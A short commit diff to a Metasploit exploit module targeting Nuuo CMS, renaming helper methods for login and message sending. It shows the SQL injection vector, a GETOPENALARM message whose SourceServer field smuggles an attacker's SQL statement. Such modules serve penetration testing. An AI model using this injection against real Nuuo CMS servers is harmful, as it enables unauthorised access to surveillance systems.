Update nuuo_cms_sqli.rb

Author: Pedro Ribeiro

modules/exploits/windows/nuuo/nuuo_cms_sqli.rb

@@ -55,9 +55,9 @@ def initialize(info={})
   def inject_sql(sql, final = false)
     sql = ["GETOPENALARM","DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
     if final
-      send_msg_async(sql)
+      nucs_send_msg_async(sql)
     else
-      send_msg(sql)
+      nucs_send_msg(sql)
     end
   end
 
@@ -83,9 +83,9 @@ def create_hex_cmd(cmd)
   end
 
   def exploit
-    login
+    nucs_login
 
-    if @session == nil
+    if @nucs_session == nil
       fail_with(Failure::Unknown, "Failed to login to Nuuo CMS")
     end